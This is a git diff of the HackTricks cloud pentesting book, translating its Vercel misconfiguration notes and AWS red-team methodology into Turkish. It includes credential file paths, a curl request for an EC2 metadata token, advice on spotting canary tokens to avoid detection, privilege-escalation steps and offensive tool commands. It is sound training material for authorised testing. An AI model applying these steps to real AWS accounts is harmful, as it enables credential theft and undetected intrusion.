SSO URL'si veya sertifika parmak izleri) ayarlayarak ekibi arka kapı ile kurabilir. +- **Risk:** Kalıcılığı sürdürmek. +- **IP Adresi Görünürlüğü:** IP adreslerinin, belirli veri koruma yasaları altında kişisel bilgi olarak kabul edilebileceği durumlarda, İzleme sorgularında ve Log Drains'de görüntülenip görüntülenmeyeceğini kontrol eder. +- **Yanlış Yapılandırma:** Gereksiz yere IP adresi görünürlüğünü etkin bırakmak. +- **Riskler:** +- **Gizlilik İhlalleri:** GDPR gibi veri koruma düzenlemeleriyle uyumsuzluk. +- **Hukuki Sonuçlar:** Kişisel verilerin kötü yönetimi nedeniyle potansiyel para cezaları ve yaptırımlar. +- **IP Engelleme:** Vercel'in istekleri engellemesi gereken IP adreslerini ve CIDR aralıklarını yapılandırmanıza olanak tanır. Engellenen istekler, faturalamanıza katkıda bulunmaz. +- **Yanlış Yapılandırma:** Bir saldırgan tarafından kötü niyetli trafiğe izin vermek veya meşru trafiği engellemek için kötüye kullanılabilir. +- **Riskler:** +- **Meşru Kullanıcılara Hizmetin Reddedilmesi:** Geçerli kullanıcıların veya ortakların erişiminin engellenmesi. +- **Operasyonel Kesintiler:** Belirli bölgeler veya müşteriler için hizmetin kullanılabilirliğinin kaybı. --- -### Secure Compute +### Güvenli Hesaplama -**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy. +**Vercel Güvenli Hesaplama**, Vercel Fonksiyonları ile arka uç ortamları (örneğin, veritabanları) arasında güvenli, özel bağlantılar sağlar ve özel IP adresleri ile izole ağlar kurar. Bu, arka uç hizmetlerini kamuya açma ihtiyacını ortadan kaldırarak güvenliği, uyumu ve gizliliği artırır. -#### **Potential Misconfigurations and Risks** +#### **Potansiyel Yanlış Yapılandırmalar ve Riskler** -1. **Incorrect AWS Region Selection** - - **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region. - - **Risk:** Increased latency, potential data residency compliance issues, and degraded performance. -2. **Overlapping CIDR Blocks** - - **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks. - - **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks. -3. **Improper VPC Peering Configuration** - - **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates). - - **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches. -4. **Excessive Project Assignments** - - **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation. - - **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others. -5. **Inadequate IP Address Management** - - **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately. - - **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities. -6. **Including Build Containers Unnecessarily** - - **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds. - - **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources. -7. **Failure to Securely Handle Bypass Secrets** - - **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections. - - **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code. -8. **Ignoring Region Failover Configurations** - - **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings. - - **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency. -9. **Exceeding VPC Peering Connection Limits** - - **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections). - - **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions. -10. **Insecure Network Settings** - - **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network. - - **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks. +1. **Yanlış AWS Bölgesi Seçimi** +- **Yanlış Yapılandırma:** Güvenli Hesaplama ağı için arka uç hizmetlerinin bölgesiyle eşleşmeyen bir AWS bölgesi seçmek. +- **Risk:** Artan gecikme, potansiyel veri ikamet uyumu sorunları ve performans düşüklüğü. +2. **Çakışan CIDR Blokları** +- **Yanlış Yapılandırma:** Mevcut VPC'lerle veya diğer ağlarla çakışan CIDR blokları seçmek. +- **Risk:** Ağ çatışmaları, başarısız bağlantılar, yetkisiz erişim veya ağlar arasında veri sızıntısına yol açabilir. +3. **Yanlış VPC Peering Yapılandırması** +- **Yanlış Yapılandırma:** VPC peering'i yanlış ayarlamak (örneğin, yanlış VPC kimlikleri, eksik yönlendirme tablosu güncellemeleri). +- **Risk:** Arka uç altyapısına yetkisiz erişim, güvenli bağlantıların başarısız olması ve potansiyel veri ihlalleri. +4. **Aşırı Proje Atamaları** +- **Yanlış Yapılandırma:** Uygun izolasyon olmadan bir güvenli hesaplama ağına birden fazla proje atamak. +- **Risk:** Paylaşılan IP açığı, saldırı yüzeyini artırır ve potansiyel olarak tehlikeye giren projelerin diğerlerini etkilemesine neden olabilir. +5. **Yetersiz IP Adresi Yönetimi** +- **Yanlış Yapılandırma:** Ayrıcalıklı IP adreslerini uygun şekilde yönetmemek veya döndürmemek. +- **Risk:** IP sahtekarlığı, izleme zafiyetleri ve IP'lerin kötü niyetli faaliyetlerle ilişkilendirilmesi durumunda potansiyel kara listeye alınma. +6. **Gereksiz Yapılandırma Konteynerleri Ekleme** +- **Yanlış Yapılandırma:** Arka uç erişimi gerekmeyen durumlarda yapılandırma konteynerlerini güvenli hesaplama ağına eklemek. +- **Risk:** Genişletilmiş saldırı yüzeyi, artan tahsis gecikmeleri ve gereksiz ağ kaynaklarının tüketimi. +7. **Atlatma Sırlarını Güvenli Bir Şekilde Yönetmeme** +- **Yanlış Yapılandırma:** Dağıtım korumalarını atlatmak için kullanılan sırları açığa çıkarmak veya yanlış yönetmek. +- **Risk:** Korunan dağıtımlara yetkisiz erişim, saldırganların kötü niyetli kodu manipüle etmesine veya dağıtmasına izin verir. +8. **Bölge Yedekleme Yapılandırmalarını Görmezden Gelme** +- **Yanlış Yapılandırma:** Pasif yedekleme bölgeleri kurmamak veya yedekleme ayarlarını yanlış yapılandırmak. +- **Risk:** Birincil bölge kesintileri sırasında hizmet kesintisi, kullanılabilirliğin azalması ve potansiyel veri tutarsızlığı. +9. **VPC Peering Bağlantı Limitlerini Aşma** +- **Yanlış Yapılandırma:** İzin verilen limitten daha fazla VPC peering bağlantısı kurmaya çalışmak (örneğin, 50 bağlantıyı aşmak). +- **Risk:** Gerekli arka uç hizmetlerine güvenli bir şekilde bağlanamama, dağıtım hatalarına ve operasyonel kesintilere yol açabilir. +10. **Güvensiz Ağ Ayarları** +- **Yanlış Yapılandırma:** Zayıf güvenlik duvarı kuralları, şifreleme eksikliği veya güvenli hesaplama ağı içinde yanlış ağ segmentasyonu. +- **Risk:** Veri kesintisi, arka uç hizmetlerine yetkisiz erişim ve saldırılara karşı artan zafiyet. --- -### Environment Variables +### Ortam Değişkenleri -**Purpose:** Manage environment-specific variables and secrets used by all the projects. +**Amaç:** Tüm projelerde kullanılan ortam spesifik değişkenleri ve sırları yönetmek. -#### Security Configurations: +#### Güvenlik Yapılandırmaları: -- **Exposing Sensitive Variables** - - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side. - - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches. -- **Sensitive disabled** - - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets. - - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. +- **Hassas Değişkenlerin Açığa Çıkması** +- **Yanlış Yapılandırma:** Hassas değişkenleri `NEXT_PUBLIC_` ile öneklemek, bunları istemci tarafında erişilebilir hale getirir. +- **Risk:** API anahtarlarının, veritabanı kimlik bilgilerinin veya diğer hassas verilerin kamuya açılması, veri ihlallerine yol açar. +- **Hassas devre dışı** +- **Yanlış Yapılandırma:** Devre dışı bırakıldığında (varsayılan) üretilen sırların değerlerini okumak mümkündür. +- **Risk:** Hassas bilgilere kazara açılma veya yetkisiz erişim olasılığının artması. {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md index ad71de826..dc9aeb0c3 100644 --- a/src/pentesting-cloud/aws-security/README.md +++ b/src/pentesting-cloud/aws-security/README.md @@ -2,17 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them. +**Pentesting'e başlamadan önce** bir **AWS** ortamında bilmeniz gereken birkaç **temel şey** var; bu, ne yapmanız gerektiğini, yanlış yapılandırmaları nasıl bulacağınızı ve bunları nasıl istismar edeceğinizi anlamanıza yardımcı olacaktır. -Concepts such as organization hierarchy, IAM and other basic concepts are explained in: +Organizasyon hiyerarşisi, IAM ve diğer temel kavramlar hakkında açıklamalar için: {{#ref}} aws-basic-information/ {{#endref}} -## Labs to learn +## Öğrenmek için Laboratuvarlar - [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat) - [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable) @@ -22,49 +22,49 @@ aws-basic-information/ - [http://flaws.cloud/](http://flaws.cloud/) - [http://flaws2.cloud/](http://flaws2.cloud/) -Tools to simulate attacks: +Saldırı simülasyonu için araçlar: - [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/) - [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main) -## AWS Pentester/Red Team Methodology +## AWS Pentester/Kırmızı Ekip Metodolojisi -In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected. +Bir AWS ortamını denetlemek için bilmeniz gereken çok önemli noktalar: hangi **hizmetlerin kullanıldığı**, neyin **açık olduğu**, kimin neye **erişimi olduğu** ve iç AWS hizmetlerinin **harici hizmetlerle** nasıl bağlantılı olduğudur. -From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that: +Kırmızı Ekip bakış açısıyla, bir AWS ortamını ele geçirmenin **ilk adımı** bazı **kimlik bilgilerini** elde etmektir. Bunu nasıl yapacağınıza dair bazı fikirler: -- **Leaks** in github (or similar) - OSINT -- **Social** Engineering -- **Password** reuse (password leaks) -- Vulnerabilities in AWS-Hosted Applications - - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint - - **Local File Read** - - `/home/USERNAME/.aws/credentials` - - `C:\Users\USERNAME\.aws\credentials` -- 3rd parties **breached** -- **Internal** Employee -- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credentials +- Github'daki **sızıntılar** (veya benzeri) - OSINT +- **Sosyal** Mühendislik +- **Şifre** yeniden kullanımı (şifre sızıntıları) +- AWS-Hosted Uygulamalardaki Güvenlik Açıkları +- [**Sunucu Tarafı İstek Sahteciliği**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) ile meta veri uç noktasına erişim +- **Yerel Dosya Okuma** +- `/home/KULLANICI_ADI/.aws/credentials` +- `C:\Users\KULLANICI_ADI\.aws\credentials` +- 3. tarafların **ihlal edilmesi** +- **İç** Çalışan +- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)kimlik bilgileri -Or by **compromising an unauthenticated service** exposed: +Ya da **kimlik doğrulaması yapılmamış bir hizmeti** ele geçirerek: {{#ref}} aws-unauthenticated-enum-access/ {{#endref}} -Or if you are doing a **review** you could just **ask for credentials** with these roles: +Ya da bir **gözden geçirme** yapıyorsanız, bu rollerle **kimlik bilgilerini** isteyebilirsiniz: {{#ref}} aws-permissions-for-a-pentest.md {{#endref}} > [!NOTE] -> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration: +> Kimlik bilgilerini elde etmeyi başardıktan sonra, bu kimlik bilgilerin kime ait olduğunu ve **neye erişim sağladıklarını** bilmeniz gerekir, bu nedenle bazı temel sayım işlemleri yapmalısınız: -## Basic Enumeration +## Temel Sayım ### SSRF -If you found a SSRF in a machine inside AWS check this page for tricks: +AWS içindeki bir makinede bir SSRF bulduysanız, bu sayfayı hileler için kontrol edin: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -72,8 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou ### Whoami -One of the first things you need to know is who you are (in where account you are in other info about the AWS env): - +Bilmeniz gereken ilk şeylerden biri, kim olduğunuzdur (hangi hesapta olduğunuz ve AWS ortamı hakkında diğer bilgiler): ```bash # Easiest way, but might be monitored? aws sts get-caller-identity @@ -89,10 +88,9 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document ``` - > [!CAUTION] -> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\ -> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass). +> Şirketlerin **canary token'lar** kullanarak **token'ların çalındığını ve kullanıldığını** belirleyebileceğini unutmayın. Kullanımdan önce bir token'ın canary token olup olmadığını kontrol etmeniz önerilir.\ +> Daha fazla bilgi için [**bu sayfayı kontrol edin**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass). ### Org Enumeration @@ -102,30 +100,30 @@ aws-services/aws-organizations-enum.md ### IAM Enumeration -If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**. +Yeterli izinleriniz varsa, **AWS hesabındaki her varlığın ayrıcalıklarını kontrol etmek** sizin ve diğer kimliklerin ne yapabileceğini ve nasıl **ayrıcalıkları artırabileceğinizi** anlamanıza yardımcı olacaktır. -If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\ -Check **how to do the numeration and brute-forcing** in: +IAM'yi listelemek için yeterli izniniz yoksa, bunları **bruteforce ile çalabilirsiniz**.\ +**Listeleme ve brute-forcing nasıl yapılır** kontrol edin: {{#ref}} aws-services/aws-iam-enum.md {{#endref}} > [!NOTE] -> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\ -> In the following section you can check some ways to **enumerate some common services.** +> Artık **kimlik bilgileriniz hakkında bazı bilgilere sahip olduğunuzda** (ve eğer bir kırmızı takım iseniz umarım **tespit edilmemişsinizdir**). Ortamda hangi hizmetlerin kullanıldığını belirleme zamanı.\ +> Aşağıdaki bölümde **bazı yaygın hizmetleri listeleme** yollarını kontrol edebilirsiniz. ## Services Enumeration, Post-Exploitation & Persistence -AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them: +AWS, şaşırtıcı bir hizmet miktarına sahiptir, aşağıdaki sayfada **temel bilgiler, listeleme** kılavuzları\*\*,\*\* **tespiti önleme**, **kalıcılık** sağlama ve bazıları hakkında diğer **sonrası istismar** ipuçlarını bulacaksınız: {{#ref}} aws-services/ {{#endref}} -Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](./#automated-tools). +Tüm çalışmaları **manuel** olarak yapmanıza gerek olmadığını unutmayın, bu yazının aşağısında [**otomatik araçlar**](./#automated-tools) hakkında bir **bölüm** bulabilirsiniz. -Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them: +Ayrıca, bu aşamada **kimlik doğrulaması yapılmamış kullanıcılara açık daha fazla hizmet keşfetmiş olabilirsiniz**, bunları istismar edebilirsiniz: {{#ref}} aws-unauthenticated-enum-access/ @@ -133,7 +131,7 @@ aws-unauthenticated-enum-access/ ## Privilege Escalation -If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in: +Farklı kaynaklar üzerindeki **en az kendi izinlerinizi kontrol edebiliyorsanız**, **daha fazla izin elde edip edemeyeceğinizi kontrol edebilirsiniz**. En azından aşağıdaki izinlere odaklanmalısınız: {{#ref}} aws-privilege-escalation/ @@ -141,10 +139,10 @@ aws-privilege-escalation/ ## Publicly Exposed Services -While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\ -As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**. +AWS hizmetlerini listeleme sırasında bazılarını **İnternete açık öğeler** (VM/Konteyner portları, veritabanları veya kuyruk hizmetleri, anlık görüntüler veya kovalar...) sunduğunu bulmuş olabilirsiniz.\ +Pentester/kırmızı takım üyesi olarak, bunlarda **hassas bilgiler / zafiyetler** bulup bulamayacağınızı her zaman kontrol etmelisiniz, çünkü bunlar size **AWS hesabına daha fazla erişim** sağlayabilir. -In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in: +Bu kitapta **açık AWS hizmetlerini bulma ve bunları kontrol etme** hakkında **bilgi** bulmalısınız. **Açık ağ hizmetlerinde zafiyetler bulma** hakkında, belirli **hizmeti** aramanızı öneririm: {{#ref}} https://book.hacktricks.xyz/ @@ -154,52 +152,49 @@ https://book.hacktricks.xyz/ ### From the root/management account -When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account. +Yönetim hesabı organizasyonda yeni hesaplar oluşturduğunda, yeni hesapta varsayılan olarak **`OrganizationAccountAccessRole`** adı verilen **yeni bir rol** oluşturulur ve **yönetim hesabına** yeni hesaba erişim için **AdministratorAccess** politikası verilir.
-So, in order to access as administrator a child account you need: +Bu nedenle, bir çocuk hesaba yönetici olarak erişmek için şunlara ihtiyacınız var: -- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin. - - To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts` - - You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**. -- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary). +- **Yönetim** hesabını **ele geçirmek** ve **çocuk hesapların** **ID'sini** ve **rolün** **isimlerini** (varsayılan olarak OrganizationAccountAccessRole) bulmak, yönetim hesabının yönetici olarak erişmesine izin verir. +- Çocuk hesapları bulmak için AWS konsolundaki organizasyonlar bölümüne gidin veya `aws organizations list-accounts` komutunu çalıştırın. +- Rollerin adını doğrudan bulamazsınız, bu nedenle tüm özel IAM politikalarını kontrol edin ve **önceden keşfedilen çocuk hesaplar üzerinde `sts:AssumeRole` izni veren herhangi birini arayın**. +- Yönetim hesabındaki bir **prensibi** **çocuk hesaplardaki rol üzerinde `sts:AssumeRole` izni ile ele geçirin** (hesap, yönetim hesabından herhangi birinin taklit etmesine izin veriyorsa, dış bir hesap olduğu için belirli `sts:AssumeRole` izinleri gereklidir). ## Automated Tools ### Recon -- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby. - +- [**aws-recon**](https://github.com/darkbitio/aws-recon): Ruby ile yazılmış çok iş parçacıklı AWS güvenlik odaklı **envanter toplama aracı**. ```bash # Install gem install aws_recon # Recon and get json AWS_PROFILE= aws_recon \ - --services S3,EC2 \ - --regions global,us-east-1,us-east-2 \ - --verbose +--services S3,EC2 \ +--regions global,us-east-1,us-east-2 \ +--verbose ``` - -- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers. -- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues. - +- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist, Bulut Sağlayıcılarından Varlıklar (Host Adları, IP Adresleri) almak için **çoklu bulut aracı**dır. +- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper, Amazon Web Services (AWS) ortamlarınızı analiz etmenize yardımcı olur. Artık güvenlik sorunları için denetim de dahil olmak üzere çok daha fazla işlevsellik içermektedir. ```bash # Installation steps in github # Create a config.json file with the aws info, like: { - "accounts": [ - { - "default": true, - "id": "", - "name": "dev" - } - ], - "cidrs": - { - "2.2.2.2/28": {"name": "NY Office"} - } +"accounts": [ +{ +"default": true, +"id": "", +"name": "dev" +} +], +"cidrs": +{ +"2.2.2.2/28": {"name": "NY Office"} +} } # Enumerate @@ -229,9 +224,7 @@ python3 cloudmapper.py public --accounts dev python cloudmapper.py prepare #Prepare webserver python cloudmapper.py webserver #Show webserver ``` - -- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database. - +- [**cartography**](https://github.com/lyft/cartography): Cartography, Neo4j veritabanası tarafından desteklenen sezgisel bir grafik görünümünde altyapı varlıklarını ve bunlar arasındaki ilişkileri birleştiren bir Python aracıdır. ```bash # Install pip install cartography @@ -240,17 +233,15 @@ pip install cartography # Get AWS info AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j ``` - -- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database. -- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account. -- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account. +- [**starbase**](https://github.com/JupiterOne/starbase): Starbase, bulut altyapısı, SaaS uygulamaları, güvenlik kontrolleri ve daha fazlası dahil olmak üzere hizmetlerden ve sistemlerden varlıkları ve ilişkileri Neo4j veritabanı destekli sezgisel bir grafik görünümünde toplar. +- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (python2 kullanır) Bu, bir hesapta oluşturulan tüm [**AWS kaynaklarını**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) **keşfetmeye** çalışan bir araçtır. +- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Bu, bir AWS hesabıyla ilişkili **tüm genel IP adreslerini** (hem IPv4/IPv6) **alma** aracı. ### Privesc & Exploiting -- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1). -- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict. - - Note that pacu **only checks your own privescs paths** (not account wide). - +- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Taranan AWS ortamındaki en ayrıcalıklı kullanıcıları, AWS Shadow Admin'leri de dahil olmak üzere keşfedin. PowerShell kullanır. **`Check-PrivilegedPolicy`** fonksiyonunda **ayrıcalıklı politikaların tanımını** bulabilirsiniz [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1). +- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu, bulut ortamlarına karşı saldırgan güvenlik testleri için tasarlanmış açık kaynaklı bir **AWS exploitation framework**'üdür. **Numaralandırabilir**, **yanlış yapılandırmaları** bulabilir ve bunları **istismar edebilir**. **`user_escalation_methods`** dict içinde [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) adresinde **ayrıcalıklı izinlerin tanımını** bulabilirsiniz. +- Pacu'nun **sadece kendi privesc yollarınızı kontrol ettiğini** unutmayın (hesap genelinde değil). ```bash # Install ## Feel free to use venvs @@ -264,9 +255,7 @@ pacu > exec iam__enum_permissions # Get permissions > exec iam__privesc_scan # List privileged permissions ``` - -- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) - +- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper), bir AWS hesabı veya AWS organizasyonu için AWS Kimlik ve Erişim Yönetimi (IAM) yapılandırmasındaki riskleri belirlemek için bir script ve kütüphanedir. Farklı IAM Kullanıcıları ve Rolleri, bir hesabın yönlendirilmiş grafiği olarak modellenir; bu, **yetki yükseltme** ve bir saldırganın AWS'deki bir kaynağa veya eyleme erişim kazanmak için alabileceği alternatif yolları kontrol etmeyi sağlar. **Privesc** yollarını bulmak için kullanılan **izinleri** kontrol edebilirsiniz, dosya adları `_edges.py` ile biten [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) adresinde. ```bash # Install pip install principalmapper @@ -288,10 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins pmapper --profile dev orgs create pmapper --profile dev orgs display ``` - -- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\ - It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use). - +- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining, en az ayrıcalık ihlallerini tanımlayan ve risk öncelikli bir HTML raporu oluşturan bir AWS IAM Güvenlik Değerlendirme aracıdır.\ +Bu araç, potansiyel olarak **aşırı ayrıcalıklı** müşteri, inline ve aws **politikalarını** ve hangi **prensiplerin bunlara erişimi olduğunu** gösterecektir. (Bu sadece privesc kontrolü yapmakla kalmaz, aynı zamanda diğer ilginç izinleri de kontrol eder, kullanılması önerilir). ```bash # Install pip install cloudsplaining @@ -303,24 +290,20 @@ cloudsplaining download --profile dev # Analyze the IAM policies cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/ ``` +- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack, ayrılmış Route53 ve CloudFront yapılandırmaları sonucunda **alt alan kaçırma açıklarını** değerlendirmek için AWS hesaplarını analiz eder. +- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECR depolarını listele -> ECR deposunu çek -> Arka kapı ekle -> Arka kapılı görüntüyü it. +- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag, yanlışlıkla bırakılmış olabilecek **gizli bilgileri** bulmak için kamuya açık Elastic Block Storage (**EBS**) anlık görüntülerini **arama** yapan bir araçtır. -- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations. -- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image -- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in. - -### Audit - -- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins). +### Denetim +- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** Aqua tarafından geliştirilen CloudSploit, Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) ve GitHub dahil olmak üzere **bulut altyapısındaki güvenlik risklerini** tespit etmeye yönelik açık kaynak bir projedir 